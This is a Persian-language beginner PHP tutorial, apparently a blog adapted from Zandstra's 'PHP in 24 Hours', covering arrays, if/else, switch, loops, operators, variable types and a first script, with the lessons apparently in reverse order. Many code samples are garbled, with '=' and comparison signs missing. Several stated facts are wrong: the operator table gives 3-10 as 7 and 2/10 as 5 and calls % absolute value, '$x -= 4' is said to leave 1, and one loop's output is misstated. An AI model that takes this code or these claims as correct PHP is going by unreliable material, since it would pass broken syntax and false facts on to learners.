در این مثال شاخص ها به صورت دستی نسبت داده می شوند

$names[0] = "Sina";
$names[1] = "SHB";
$names[2] = "Hadi";

طریقه استفاده

$names[0] = "Sina";
$names[1] = "SHB";
$names[2] = "Hadi";
echo $names[1] . " and " . $names[2] . 
" are ". $names[0] . "'s neighbors";
?>

خروجی کد بالا

SHB and Hadi are Sina's neighbors


 


 آرایه های انجمنی

 آرایه هایی هستند که به جای اعداد از دنباله های کارکتری جهت شاخص گذاری درآنها استفاده می شود.

وقتی که ما چیزهای مهمی را می خواهیم در آرایه قرار بدیم بهتره که از این آرایه استفاده کنیم تا کلید دسترسی (شاخص) راخودمون درست کنیم تا راحت تر برنامه نویسی کنیم.

Example 1

به طریقه تعریف شاخص ها توجه کنید

$ages = array("Sina"=>19, "SHB"=>24, "Hadi"=>24);

Example 2

همون آرایه بالا هستش فقط به صورت دیگه ای تعریف شده

$ages['Sina'] = "19";
$ages['SHB'] = "24";
$ages['Hadi'] = "24";
 

طریقه استفاده

$ages['Sina'] = "19";
$ages['SHB'] = "24";
$ages['Hadi'] = "24";
echo "Sina is " . $ages['Sina'] . " years old.";
?>

خروجی کد بالا:

Sina is 19 years old.


 


آرایه های چندبعدی:

در آرایه های چند بعدی هر عنصر آرایه خود یک آرایه دیگر است که می تواند یک آرایه یک بعدی یا چند بعدی باشد

Example

در این مثال ما آرایه ای چندبعدی درست کردیم که مقادر ان (آرایه درونی) به صورت اتوماتیکی شاخص بندی شده است. برای تجزیه و تحلیل بهتر می تونید روی کاغذ این آرایه رو بنویسید و خوب تحلیل کنید تا فهم درستی از طراحی این آرایه پیدا کنید

$Simple = array
(
  "Bahala"=>array
  (
  "Sina",
  "SHB",
  "Babi"
  ),
  "Divooneha"=>array
  (
  "Hadi"
  ),
  "Tripa"=>array
  (
  "Sina",
  "Babi",
  "Hadi"
  )
);

همون آرایه بالا هستش اما به صورت راحت تری تعریف کردیم که قابل فهم تر است

$Simple = Array
(
[Bahala] => Array
  (
  [0] => Sina
  [1] => SHB
  [2] => Babi
  )
[Divooneha] => Array
  (
  [0] => Hadi
  )
[Tripa] => Array
  (
  [0] => Sina
  [1] => Babi
  [2] => Hadi
  )
) 

Example 2

طریقه استفاده

echo "HAji " . $Simple ['Tripa'][1] . 
" Joone khodesh Trip hastesh! To chi Fekr mikoni?";

خروجی کد بالا:

HAji Babi Joone khodesh Trip hastesh! To chi Fekr mikoni?
حلقه ها و ....

در درسهای قبلی همواره کدها در یک جهت حرکت می کردند. در واقع خط به خط کدهای ما اجرا می شد و جلو می رفت. این روش جایی برای کدنویسی منعطف نمی گذارد.

در این درس می خوانیم :

چگونه یک کد را وقتی اجرا کنیم که یک عبارت True باشد. IF CLAUSE
چگونه قسمت دیگری از کد اجرا شود وقتی که همان عبارت False شود. ELSE
چگونه از دستور switch استفاده کنیم.
چگونه یک قسمت از کد را چند مربطه اجرا کنیم . while
چگونه از FOR برای اجرای حلقه استفاده کنیم.
چگونه یک حلقه FOR را قطع کنیم.


اغلب script ها نیاز به تغییر خروجی در شرایط مختلف دارند. با استفاده از IF شما می توانید خروجی کدهای خودتون را در php با توجه به یک سری شرایط تغییر دهید.

IF
IF عبارت داخل پرانتز جلوی خود را کنترل می کند و درصورتی که Trueباشد آن قسمت از کد را اجر می نماید.
PHP Code:
if ( expression )
{
// code to execute if the expression evaluates to true

فرمت کلی IF به صورت بالا است. expression عبارتی است که باید کنترل شود. و عبارات بین { و } کدی است که در صورت true بودن عبارت If باید اجرا شود.
PHP Code:
1: <html>
2: <head>
3: <title>Listing 5.1</title>
4: </head>
5: <body>
6: <?php
7
$mood "happy";
8: if ( $mood == "happy" )
9: {
10: print "Hooray, I'm in a good mood";
11: }
12?>
13: </body>
14: </html>

در خط 8 کد بالا ما از == استفاده کردیم تا کنترل کنیم که mood مقدار happy را در خود دارد یا خبر.
از { و } فقط وقتی استفاده می کنیم که کدهای ما بیشتر از یک خط باشند.
کد بالا رو به صورت زیر نیز می توان نوشت :
PHP Code:
if ( $mood == "happy" )
print 
"Hooray, I'm in a good mood"
در این حالت Hooray, I'm in a good mood چاپ می شود. اگر ما متغیر mood رو "sad" قرار دهیم دیگر چیزی چاپ نخواهد شد.

استفاده از ELSE در IF

فرمت کلی آن به صورت زیر است :
PHP Code:
if ( expression )
{
// code to execute if the expression evaluates to true
}
else
{
// code to execute in all other cases

قسمت بعد از else فقط وقتی اجرا می شود که عبارت داخل if ، برابر False باشد.
PHP Code:
1: <html>
2: <head>
3: <title>Listing 5.2</title>
4: </head>
5: <body>
6: <?php
7
$mood "sad";
8: if ( $mood == "happy" )
9: {
10: print "Hooray, I'm in a good mood";
11: }
12: else
13: {
14: print "Not happy but $mood";
15: }
16?>
17: </body>
18: </html>
در مثال بالا متغیر mood مقدار "sad" دارد و در واقع با "happy" برابر نیست پس قسمت داخل IF اجرا نمی شود و فقط قسمتی که داخل else می باشد اجرا خواهد شد. خروجی دستور بالا

به صورت
Code:
Not happy but sad
خواهد بود.

استفاده از ElseIf

ElseIf مجددا یک عبارت دیگر را اجرا می نماید و در صورت True بودن دستورات داخلش اجرا خواهد شد.

فرمت کلی به صورت زیر است :
PHP Code:
if ( expression )
{
// code to execute if the expression evaluates to true
}
elseif ( 
another expression )
{
// code to execute if the previous expression failed
// and this one evaluates to true
else
{
// code to execute in all other cases

اگر عبارت IF درست نباشد تکه اول کد نادیده گرفته می شود و نوبت عبارت Esleif می رسد اگر این عبارت درست باشد قسمت دوم کدها اجرا می شود. دستور else در نهایت وقتی اجرا

می شود که هیچ کدام از عبارات IF و Elseif درست نباشند.
شما به هر تعداد که می خواهید می توانید esleif در کدتان بگذارید. و در نهایت Else دلخواه است و می تواند در کد وجود نداشته باشد.
PHP Code:
1: <html>
2: <head>
3: <title>Listing 5.3</title>
4: </head>
5: <body>
6: <?php
7
$mood "sad";
8: if ( $mood == "happy" )
9: {
10: print "Hooray, I'm in a good mood";
11: }
12: elseif ( $mood == "sad" )
13: {
14: print "Awww. Don't be down!";
15: }
16: else
17: {
18: print "Neither happy nor sad but $mood";
19: }
20?>
21: </body>
22: </html>
در مثال بالا mood مقدار sad دارد. این مقدار با Happy برابر نیست پس قسمت اول کدها نادیده گرفته می شود. Elseif متغیر mood را با مقدار sad مقایسه می کند که True است و

کدهای قسمت دوم اجرا می شوند.

دستور Switch
این دستور روش دیگری برای تغییر مسیر حرکت اجرا شدن کدهاست. دستور switch فقط یک عبارت رو چک می کند و می تواند این عبارت را با مقادیر متفاوتی مقایسه کند و فقط کدی را

اجرا کند که مقدار مورد نظر در آن True شود.
فرمت کلی به صورت زیر است :
PHP Code:
switch ( expression )
{
case 
result1:
// execute this if expression results in result1
break;
case 
result2:
// execute this if expression results in result2
break;
default:
// execute this if no break statement
// has been encountered hitherto

عبارت داخل دستور switch (منظور همان expression داخل پرانتز جلوی آن است) معمولا یک متغیر است. در کد های داخل switch (منظور قسمت بین { و } می باشد) شما case های

مختلفی را می بینید که مقدار متغیر switch با همه این case ها مقایسه می شود و وقتی که مقدار ها با هم برابر بود کد مربوطه اجرا می شود.
گذاشتن قسمت default اختیاری است. در صورتی که متغیر با هیچ کدام از مقادیر caseها برابر نباشد ، دستورات داخل default اجرا خواهد شد.

احتیاط : دقت کنید که کلمه break در انتهای هر case را حتما بگذارید. در غیر اینصورت کد بعد از اجرا کردن case مورد نظر به راه خود ادامه می دهد و به مقدار default می رسد و

آن را نیز اجرا می کند و این در اکثر مواقع چیزی نیست که ما دنبالش باشیم. دستور break در واقع از کل کدهای case خارج شده و به انتهای دستور switch می رود.

مثال :
PHP Code:
1: <html>
2: <head>
3: <title>Listing 5.4</title>
4: </head>
5: <body>
6: <?php
7
$mood "sad";
8: switch ( $mood )
9: {
10: case "happy":
11: print "Hooray, I'm in a good mood";
12: break;
13: case "sad":
14: print "Awww. Don't be down!";
15: break;
16: default:
17: print "Neither happy nor sad but $mood";
18: }
19?>
20: </body>
21: </html>
در مثال بالا ، در ابتدا mood مقدار sad را دارد و وقتی که در خط 8 Php وارد switch می شود ابتدا mood را با happy مقایسه می کند (خط 10) و به دلیل اینکه True نمی شود به خط 13

می رود در آنجا چون mood=sad است کد خط 11 و سپس خط 12 را اجرا می کند. در خط 12 با دیدن دستور break به خط 18 می رود.

روش جالب عملگر شرطی علامت سوال (؟)
من اسم این روش رو IF یک خطی گذاشتم ! در این روش شما بدون نیاز به نوشتن دستورات IF می توانید تابع شرطی ایجاد کنید که در آن عبارتی چک شود و در صورت درست بودن یک

سری کد اجرا شود و در صورت اشتباه بودن کد دیگر.
PHP Code:
expression )?returned_if_expression_is_true:returned_if_expression_is
_false

اگر عبارت داخل پرانتز ما True بود کد بعد از علامت سوال اجرا می شود و در غیر اینصورت کد بعد از : اجرا خواهد شد.

PHP Code:
1: <html>
2: <head>
3: <title>Listing 5.5</title>
4: </head>
5: <body>
6: <?php
7
$mood "sad";
8$text = ( $mood=="happy" )?"Hooray, I'm in a good mood":"Not happy but
$mood"
;
9: print "$text";
10?>
11: </body>
12: </html>

در مثال بالا در خط 8 از این روش استفاده شده است. در اینجا متغیر moodبا مقدار happy مقایسه می شود اگر درست بود خواهد نوشتHooray, Im in good mood و در غیر اینصورت (که

اینجا اینطور نیست) می نویسد Not Happy But $mood که چون اینجا $mood مقدار Sad دارد خروجی می شود Not Happy But Sad.
نوشتن و خواندن کد اینطوری کمی سخت است ولی اگر شما فقط یک شرایط رو بخواهید چک کنید و علاقه به نوشتن کدهای فشرده دارید این روش بسیار خوبی است.

حلقه ها

تا به حال روشهایی را دیدید که به وسیله آن کد می تواند بین اینکه کدام کد را اجرا کند انتخاب داشته باشد. همچنین کد می تواند تصمیم بگیرد که چند دفعه یک قسمت را اجرا کند.
حلقه های برای این ایجاد شده اند که به شما اجازه دهند یک عملیات را چند مرتبه اجرا نمایید. تقریبا بدون استثناء ، همه حلقه ها آنقدر اجرا می شوند تا اینکه یک شرایطی (که از توسط

شما مشخص می شود) اتفاق بیافتد و یا اینکه شما شخصا دستور قطع و خروج از loop را بدهید.

while

PHP Code:
while ( expression )
{
// do something


تا وقتی که عبارت while (منظور همان expression داخل پرانتز جلوی آن است) True باشد کد داخل while پشت سر هم اجرا می شود. معمولا شما در داخل حلقه کاری می کنید که

عبارت مرتبا تغییر نماید و یک جا False شود در غیر اینصورت حلقه شما تا بینهایت اجرا می شود.
مثال زیر حلقه ای ایجاد می کند و مضارب 2 را نمایش می دهد.

PHP Code:
Listing 5.6: A while Statement
1: <html>
2: <head>
3: <title>Listing 5.6</title>
4: </head>
5: <body>
6: <?php
7
$counter 1;
8: while ( $counter <= 12 )
9: {
10: print "$counter times 2 is ".($counter*2)."<br>";
11$counter++;
12: }
13?>
14: </body>
15: </html>
در خط 7 ما مقدار counter را 1 گذاشتیم. در خط 8 حقله ای تشکیل دادم که تا وقتی اجرا می شود که counter از 12 کوچکتر و یا مساوی آن باشد. در خط 10 خروجی برنامه را می نویسیم

و در خط 11 به counter دو عدد اضافه می کنیم. روش ++ را در درس قبلی خواندیم.
پس خروجی برنامه می شود. 2 - 4 - 8 - 10 - 12
اگر شما در خط 11 فراموش می کردید که counter را زیاد کنید این حلقه تا بینهایت اجرا می شد چون هیچگاه counter زیاد نمی شد و هیچوقت از 12 بیشتر نمی شد.

حلقه do و while

این حلقه شبیه حلقه while است فقط سر و ته شده است ! بزرگترین فرق آن این است که ابتدا کدها اجرا می شوند و بعد درستی یا نادرستی عبارت چک می شود.
PHP Code:
do {
// code to be executed
}
while ( 
expression ); 

توجه : آخر عبارت while در خط آخر حتما باید ; گذاشته شود.
این متد وقتی خیلی به درد می خورد که شما بخواهید کد شما حداقل یکبار اجرا شود حتی اگر شرایط عبارت while اتفاق نیافتاده باشد.
PHP Code:
1: <html>
2: <head>
3: <title>Listing 5.7</title>
4: </head>
5: <body>
6: <?php
7
$num 1;
8: do
9: {
10: print "Execution number: $num<br>\n";
11$num++;
12: }
13: while ( $num 200 && $num 400 );
14?>
15: </body>
16: </html>
در مثال بالا حقله do....while کنترل می کند که num بزرگتر از 200 و کوچتر از 400 باشد. چون ما num رو در خط 7 مساوی یک قراردادیم پس عبارت while درست نیست و False می باشد

ولی در هر حال خروجی کد حداقل یک خط است که نوشته می شود Execution numnber : 1 .

حقله For

شما هیچ چیزی از استفاده از For به دست نمی آورید که نتوانید با While آن را ایجاد کنید. ولی در هر حال در اغلب مواقع استفاده از For کدهای زیباتر و بهتری نسبت به while ایجاد می

کند.
فرمت کلی به صورت زیر است :
PHP Code:
for ( variable assignmenttest expressionvariable increment )
{
// code to be executed


هر عبارت داخل for باید حتما با ; از هم جدا شوند. معمولا ، عبارت اول یک متغیر شمارنده ایجاد می کند ، و در عبارت دوم عبارت کنترلی برای loop است ، و قسمت سوم اضافه کردن و

کم نمودن متغیر را ایجاد می کند.

مثال :
PHP Code:
1: <html>
2: <head>
3: <title>Listing 5.8</title>
4: </head>
5: <body>
6: <?php
7
: for ( $counter=1$counter<=12$counter++ )
8: {
9: print "$counter times 2 is ".($counter*2)."<br>";
10: }
11?>
12: </body>
13: </html>

در خط 7 بالا می توانید ببینید ، در قسمت اول counter را مساوی 1 نمودیم و در عبارت وسط محدود کردیم که حلقه تا وقتی کار کند که counter از 12 کوچکتر و یا مساوی آن باشد. در

قسمت سوم هم عبارتی است که هر بار که کد اجرا شود یک عدد به counter اضافه نماید.
مثال بالا و مثال قبلی هر دو یک خروجی را می دهند فقط کد for کمی جمع و جور تر از while است. به علت اینکه شروع ، پایان و شرایط حلقه در همان خط اول در For مشخص است ، با

یک نگاه به این نوع حلقه کل حقله دستمان می آید.

خروج از حلقه با استفاده از دستور break
در هر دو روش ایجاد حلقه دستوری برای پایان دادن حلقه وجود دارد. گاهی اوقات نیاز است که وقتی کد به شرایط خاصی رسید حلقه پایان یابد.
مثلا :
PHP Code:
1: <html>
2: <head>
3: <title>Listing 5.9</title>
4: </head>
5: <body>
6: <?php
7
: for ( $counter=1$counter <= 10$counter++ )
8: {
9$temp 4000/$counter;
10: print "4000 divided by $counter is... $temp<br>";
11: }
12?>
13: </body>
14: </html>
در کد بالا ما عدد 4000 رو بر counter که از 1 تا 10 متغیر است تقسیم می کنیم و خروجی را چاپ می کنیم. تا ایجا کد بدون نقص به نظر می رسد. ولی اگه مثلا counter از ورودی کاربر

گرفته شود و کاربر مثلا عددی منفی بزند یا صفر وارد نماید و یا اینکه یک کلمه به جای عدد وارد کند. در این صورت ما باید حلقه رو قطع کنیم چون می دونیم که تقسیم کردن یک عدد بر

صفر ایجاد خطا در php می کند.
مثلا فرض کنید از -4 شروع کنیم تا 10 این وسط صفر هم جزو مقادیر counter خواهد شد.
PHP Code:
1: <html>
2: <head>
3: <title>Listing 5.10</title>
4: </head>
5: <body>
6: <?php
7
$counter − 4;
8: for ( ; $counter <= 10$counter++ )
9: {
10: if ( $counter == )
11: break;
12$temp 4000/$counter;
13: print "4000 divided by $counter is... $temp<br>";
14: }
15?>
16: </body>
17: </html>
در کد بالا همونطور که می بینید در خط 10 و 11 تعریف کردیم که اگه counter صفر شد حلقه قطع شود. بنابراین کد بعد از رسیدن به صفر و به break می رسد حلقه را قطع می نماید و به

خط 14 می رود.
نکته جالب در کد بالا در خط 7 است که ما counter را خارج از حلقه تعریف نمودیم. بنابراین در خط 8 دیگه counter رو تعریف نکردیم و جاش رو خالی گذاشتیم.
شما هر کدام از قسمتهای for رو می تونید خالی بگذارید ولی ; ها رو حتما باید بگذارید.

استفاده از دستور continue

خوب ، حالا فرض کنید که ما در کد بالا نمی خواهیم که وقتی به صفر رسید کد قطع شود و فقط می خواهیم که حلقه برای مقدار صفر اجرا نشود ولی باقی مقادیر اجرا شود. در این حالت

از دستور continue استفاده می کنیم.

PHP Code:
1: <html>
2: <head>
3: <title>Listing 5.11</title>
4: </head>
5: <body>
6: <?php
7
$counter − 4;
8: for ( ; $counter <= 10$counter++ )
9: {
10: if ( $counter == )
11: continue;
12$temp 4000/$counter;
13: print "4000 divided by $counter is... $temp<br>";
14: }
15?>
16: </body>
17: </html>

در کد بالا در خط 10 و 11 وقتی مقدار counter صفر شود ، حلقه قطع می شود و دوباره کد بر می گردد به خط 8 ولی فقط مقدار صفر رو اجرا نخواهد کرد.

حلقه های تو در تو

در php این قابلیت رو دارید که در داخل یک حقله یک یا چند حلقه دیگه رو نیز بیارید. ولی باید توجه داشته باشید که هر حلقه ای که در یک حلقه دیگر استفاده می کنید باید در همان حلقه

تمام شود.
مثلا :
PHP Code:
1: <html>
2: <head>
3: <title>Listing 5.12</title>
4: </head>
5: <body>
6: <?php
7
: print "<table border="1">\n";
8: for ( $y=1$y<=12$y++ )
9: {
10: print "<tr>\n";
11: for ( $x=1$x<=12$x++ )
12: {
13: print "\t<td>";
14: print ($x*$y);
15: print "</td>\n";
16: }
17: print "</tr>\n";
18: }
19: print "</table>";
20?>
21: </body>
22: </html>
عملگرها :

در درس های قبلی یاد گرفتیم که مقدار به متغیر بدهیم و data type متغیر ها رو تغییر بدهیم. یک زبان برنامه نویسی تا وقتی که نتونیم به وسیله اون بر روی متغیرها عملیات ریاضی انجام بدیم در واقع به درد نمی خوره.
عملگرها سمبول هایی هستند که به وسیله اون می تونیم با استفاده از چند مقدار ، مقدار جدیدی رو تولید کنیم.
یک عملگر به عنوان مثال همون + است.
4 + 5 = 9
در اینجا ما از عملگر + استفاده کردیم تا با استفاده از دو مقدار 4 و 5 مقدار جدید 9 را تولید کنیم.

عملگر مقدار ده یا همون ( = ) کارش اینه که مقدار سمت راست خودش رو توی متغیر سمت چپ می ریزه.
PHP Code:
print ( $name "matt" ); 

دستور بالا کلمه matt رو چاپ می کند و همچنین متغیر name رو مساوی matt قرار می دهد.

عملگرهای ریاضی :
PHP Code:
عملگر نام مثال جواب
+       اضافه  3+5       8 
-        تفریق  3-10       7
/    تقسیم   2/10        5
*    ضرب    10*2       20
%   قدرمطلق   3%10  1 

عملگر پیوند دهنده یا همان ( . )
این عملگر وظیفه پیوند دادن متغیر های متنی رو دارد.
به عنوان مثال :
PHP Code:
"hello"." world"
returns
"hello world" 

در php یک سری عملگرهای دیگه ای برای مقدار دهی دارد.

+= عملگری است که با استفاده از اون متغیر با خودش جمع می شود.
مثلا
PHP Code:
$x 4;
$x += 4// $x now equals 8 
همچنین -= و /= نیز می توان استفاده نمود.
PHP Code:
$x 4;
$x -= 4// $x now equals 1 

عملگرهای مقایسه ای

عملگرهای مقایسه ای بر روی متغیرها اعمال می شود و مقایسه می کند و در صورت درست بودن True و در صورت غلط بودن False بر می گرداند.
مثلا
PHP Code:
$x 
اگر مقدار x مثلا 3 باشد این عملگر True رو برمی گرداند.
مثلا == مقدار سمت راست و سمت چپ رو چک می کند. اگه مثلا ما x رو 4 قرار داده باشیم.
PHP Code:
$x == 
مقدار False بر می گرداند.
!= چک می کند که مقدار سمت راست و چپ برابر نباشند و اگر x همان 4 باشد :
PHP Code:
$x =! 

True را بر می گرداند.
=== چک می کند که مقدار چپ و راست برابر باشند و همچنین نوع دیتا آنها Data type آنها یکی باشد.
علامت بزرگتر و کوچکتر و بزرگتر مساوی و کوچکتر مساوی نیز به همین صورت.

عملگرهای منطقی
اولین عملگر منطقی همان عملگر or (یا) می باشد. دیگر نشانه این عملگر || می باشد.
مثلا
PHP Code:
true || false 

مقدار True را بر می گرداند.
&& فقط وقتی True برمی گرداند که هر دو طرف True باشند.
مثلا
PHP Code:
$x ) && ( $x 15 

هنگامی مقدار True برمی گرداند که x بزرگتر از 2 و کوچکتر از 15 باشد.


در جدول بالا قسمت Bold شده تنها عملگری است که کمی جالب است.

عملگر ++ و --

عملگر ++ یک عدد به متغیر اضافه می کند و -- یک متغیر از آن کم می کند.
مثلا
PHP Code:
$x++; 

یکی به $x اضافه می کند.
به عنوان مثال
PHP Code:
$x 3;
$x++ < 4// true 
مقدار فوق True است.
در مثال بالا همونطور که می بینید ابتدا عمل مقایسه انجام شده و بعد جمع صورت گرفته.
حال :
PHP Code:
$x 3;
++
$x 4// false 
مقدار فوق False می باشد یعنی ابتدا جمع صورت گرفته و بعد مقایسه شده است.

ترتیب اجرای عملگرها
شاید همه شما این را بدانید ولی در php ترتیب اجرای عملگرها به صورت زیر می باشند :
PHP Code:
++ − − (cast)
/ *%

< <= => >
== === !=
&&
||
= += 
− = /= *=%= .=
and
xor
or 
یعنی مثلا در
PHP Code:

ابتدا 2 در 5 ضرب می شود و بعد با 4 جمع می شود.
یعنی جواب مقدار فوق 14 می باشد.
البته شما با گذاشتن پرانتز می توانید php را مجبور کنید که به صورت دلخواه شما عمل کند. مثلا
PHP Code:
(4+5) * 

مقدار 18 را می دهد.

 

درس 2 ( متغیر در php

در این درس می خوانیم :

- درباره متغیرها ( متغیر چیست و چگونه از آن استفاده کنیم)
- چگونه یک متغیر را تعریف کنیم و به مقدار آن دسترسی پیدا کنیم
- برخی از علمگرهای متداول
- چگونگی تعریف و استفاده از مقادیر ثابت

متغیر نگهدارنده ویژه ایست برای مقادیر. هر متغیر دارای یک نام است که با علامت $ در اول آن مشخص می شود. نام یک متغیر می تواند شامل حروف ، اعداد و _ باشد. نام یک متغیر نمی تواند شامل space و یا کارکاترهای غیر حرفی باشد.
کدهای زیر چند متغیر را تعریف می کنید :
Code:
$a; $a_longish_variable_name; $2453; $sleepyZZZZ
توجه داشته باشید که ; در انتهای هر خط جزونام متغیر می باشد و در واقع نشان دهنده پایان جمله کد PHP است.
برای مقدار دادن به متغیر کافیست که آن را مساوی با مقدارش قرار دهید. به طور معمول شما در یک دستور php متغیر را تعریف می کنید و به آن مقدار می دهید. مانند کدهای زیر :
Code:
$num1 = 8; $num2 = 23;
وقتی که شما به ییک متغیر مقدار دادید می توانید دقیقا مانند یک کاراکتر با آن رفتار کنید. به طور مثال :
Code:
print $num1;
دقیقا برابر با دستور
Code:
print 8;
می باشد.

نوع داده داخل متغیر DATA TYPE

انواع مختلف اطلاعات در یک متغیر می تواند ذخیره شود که در طول برنامه می توانید رفتارهای متفاوتی با آن نماببد.
برخی زبانهای برنامه نویسی شما را وادار می کنند که در ابتدا و در موقع تعریف متغیر نوع آن را نیز مشخص نمایید.
ولی در PHP لزومی به این کار نیست و نوع اولین مقداری که وارد متغیر شود ، به عنوان نوع متغیر شناخته می شود.

Type - Example - Description
Integer - 5 - A whole number
Double - 3.234 - A floating-point number
String - "hello" - A collection of characters
Boolean - true - One of the special values true or false
آرایه و OBJECT

جدول فوق انواع داده ها را نشان می دهد.
شما می توانید از دستور gettype() برای مشاهده نوع یک متغیر استفاده کنید. به عنوان مثال :
Code:
1: <html> 2: <head> 3: <title>Listing 4.3 Testing the type of a variable</title> 4: </head> 5: <body> 6: <?php 7: $testing = 5; 8: print gettype( $testing ); // integer 9: print "<br>"; 10: $testing = "five"; 11: print gettype( $testing ); // string 12: print("<br>"); 13: $testing = 5.0; 14: print gettype( $testing ); // double 15: print("<br>"); 16: $testing = true; 17: print gettype( $testing ); // boolean 18: print "<br>"; 19: ?> 20: </body> 21: </html>

کدهای بالا در خروجی جملات زیر را نشان خواهد داد :
Code:
integer string double boolean

INTEGER یک عدد صحیح می باشد. به کلام ساده یک عدد بدون ممیز می باشد. STRING یک سری کاراکتر می باشد. وقتی در PHP با STRING کار می کنید باید حتما اطراف آن از " و یا ' استفاده شود. DOUBLE یک عددی است که ممیز نیز دارد. BOOLEAN یا TRUE است و یا FALSE.

تغییر با استفاده از دستور settype()
در PHP با استفاده از دستور settype() شما می توانید نوع یک متغیر را تغییر دهید. برای این کار باید نام متغیر و نوع متغیر که می خواهید به آن تغییر یابد را در بین پرانتز و با فاصله یک کاما در بینشان مشخص نمایید.
به عنوان مثال :
Code:
1: <html> 2: <head> 3: <title>Listing 4.5 Changing the type of a variable with settype()</title> 4: </head> 5: <body> 6: <?php 7: $undecided = 3.14; 8: print gettype( $undecided ); // double 9: print " -- $undecided<br>"; // 3.14 10: settype( $undecided, string ); 11: print gettype( $undecided ); // string 12: print " -- $undecided<br>"; // 3.14 13: settype( $undecided, integer ); 14: print gettype( $undecided ); // integer 15: print " -- $undecided<br>"; // 3 16: settype( $undecided, double ); 17: print gettype( $undecided ); // double 18: print " -- $undecided<br>"; // 3.0 19: settype( $undecided, boolean ); 20: print gettype( $undecided ); // boolean 21: print " -- $undecided<br>"; // 1 22: ?> 23: </body> 24: </html>
در هر دفعه تغییر متغیر ما با استفاده از دستور GETTYPE() نوع متغیر را چاپ می کنیم که از تغییر آن مطمئن شویم.
همانطور که می بینید در خط 7 مقدار متغیر 3.14 است و به صورت DOUBLE و در خط 10 به STRING تبدیل می شود و در خط 13 به INTEGER تغییر می کند و به 3 تبدیل می شود. (یعنی رند می شود) و به همین صورت......

تغییر نوع داده بدون اینکه اصل متغیر تغییر کند

با قرار دادن نام نوع داده Data Type در داخل پرانتز و قبل از نام متغیر یک کپی از متغیر با نوع داده جدید بدون تغییر دادن متغیر اصلی ایجاد می کند.
به عنوان مثال :
Code:
1: <html> 2: <head> 3: <title>Listing 4.6 Casting a variable</title> 4: </head> 5: <body> 6: <?php 7: $undecided = 3.14; 8: $holder = ( double ) $undecided; 9: print gettype( $holder ) ; // double 10: print " -- $holder<br>"; // 3.14 11: $holder = ( string ) $undecided; 12: print gettype( $holder ); // string 13: print " -- $holder<br>"; // 3.14 14: $holder = ( integer ) $undecided; 15: print gettype( $holder ); // integer 16: print " -- $holder<br>"; // 3 17: $holder = ( double ) $undecided; 18: print gettype( $holder ); // double 19: print " -- $holder<br>"; // 3.14 20: $holder = ( boolean ) $undecided; 21: print gettype( $holder ); // boolean 22: print " -- $holder<br>"; // 1 23: ?> 18: print gettype( $holder ); // double 19: print " -- $holder<br>"; // 3.14 20: $holder = ( boolean ) $undecided; 21: print gettype( $holder ); // boolean 22: print " -- $holder<br>"; // 1 23: ?>

در کد بالا هیچ وقت نوع متغیر اصلی را تغییر ندادیم بلکه مثلا در خط 14 در متغیر $holder مقدار Integer شده متغیر اصلی یعنی
مقدار 3 را قرار دادیم در خط 16 آن را چاپ کردیم
 
مطالب زیر برگرفته از کتاب آموزش PHP در 24 ساعت نوشته Matt Zandstra می باشد.

در ضمن باید بگم  که درست کردن این وبلاگ برای اینه که هم شما php رو یاد بگیرید هم مروری واسه خودم باشه

انشالاه که موفق بشیم.

درضمن فرض بر این هست که توانایی نصب php به صورت local host را دارید.

لازم به ذکر هستش که می توانید به صورت ویزارد با نرم افزار هایی مثل xamp,wampیا غیره این عمل رو انجام بدید.

مطالب این درس

 
- نحوه ساخت ، بارگذاری و اجرای یک فایل PHP
- چگونه از PHP و HTML در یک صفحه استفاده کنیم
- چگونه کدها را با استفاده از کامنتهای برنامه نویسی قابل فهم تر کنیم

خوب برای شروع یک TextEditor رو باز کنید. php هم مانند html مبتنی بر متن ساده است بنابراین از هر ادیتوری میشود برای ساخت فایل php استفاده کرد. می توانید نرم افزار کاربردی هم دانلود کنید.

. مثلا Notepad خود را باز کنید.
خطوط زیر را وارد کنید و فایل را به هر اسمی با پسوند .php ذخیره کنید. مثلا first.php

Code:
1: <? 2: print "Hello Web!"; 3: ?>


در صورتیکه php روی کامپیوتر خود نصب کرده اید ، فایل رو در وب سرور خود کپی کنید و آن را از طریق browser صدا کنید. و یا اینکه فایل رو در یک سایت با دسترسی PHP بارگذاری نمایید و آدرس آن را در browser تایپ کنید.
پس از اجرای فایل جمله Hello Web! رو بر روی صفحه خواهید دید.
در صورتیکه کدها خود را یعنی هما چیزی که در ادیتور تایپ کردید رو روی صفحه دیدید. این بدان معنی است که وب سرور شما فایل php رو اجرا نکرده (یا php بر روی آن نصب نیست و یا پسوند فایل رو به درستی انتخاب نکرده اید.)

خوب حالا که صفحه اول php خود را upload کرده اید کمی در آن دقت کنید.
در شروع و در اولین خط کد
Code:
<?
رو داريم. هميشه شروع يك كد php باید با همین تگ ها باشد. در غیر اینصورت سیستم با کدها مثل html رفتار میکند و بدون هیچگونه عملیاتی همان متن کد را نمایش خواهد داد.
و در انتهای کد PHP نیز حتما باید
Code:
?>
را وارد کنید که به server می فهماند که کد php اینجا تمام شده است و از این به بعد با کدهای html روبرو است.
در انتهای هر خط از کدها باید از
Code:
;
استفاده شود. در غیر اینصورت سرور کدها را در یک خط و پشت سر هم تشخیص می دهد. پس شما می توانستید کد بالا را در یک خط و به صورت
Code:
<? Print "Hello Word!" ; ?>
نیز بنویسید.

دستور Print

این دستور در واقع نمایش دهنده است و هر چیزی که به آن بدهید را بر روی صفحه نمایش می دهد.
شما می توانید مقدار یک متغیر را نیز با استفاده از Print نمایش دهید.

ترکیب PHP و HTML در یک صفحه

کدهای زیر را در notepad وارد نمایید و ذخیره و upload کنید.

Code:
1: <html> 2: <head> 3: <title>Listing 3.2 A PHP script including HTML</title> 4: </head> 5: <body> 6: <b> 7: <? 8: print "hello world"; 9: ?> 10: </b> 11: </body> 12: </html>


خوب همانطور که می بینید کدهای HTML به راحتی می توانند در کنار کدهای PHP کار کنند. در واقع سرور قبل از رسیدن به کد
Code:
<?
همه کدها رو html فرض کرده و کدهای در داخل
Code:
<?
و
Code:
?>
را به عنوان کد php می شناسد و بر روی آنها عملیات انجام می دهد.

گذاشتن Comment در میان کدها

comment در واقع جملاتی است که نویسنده برنامه در میان کدها می نویسد تا توضیحی باشد بر کد. به این صورت که اگه دفعه بعد خود نویسنده و یا کس دیگری کدها رو دید ، متوجه بشود که هر دستور برای چه چیزی نوشته شده است. (توصیه می کنم همیشه از comment استفاده کنید)
نحوه قراردادن commentهم به این صورت است که در اول خط از تگ
Code:
//
و یا
Code:
#
استفاده کنید.
مثلا
Code:
// This is a comment

یا
Code:
# in yek comment ast


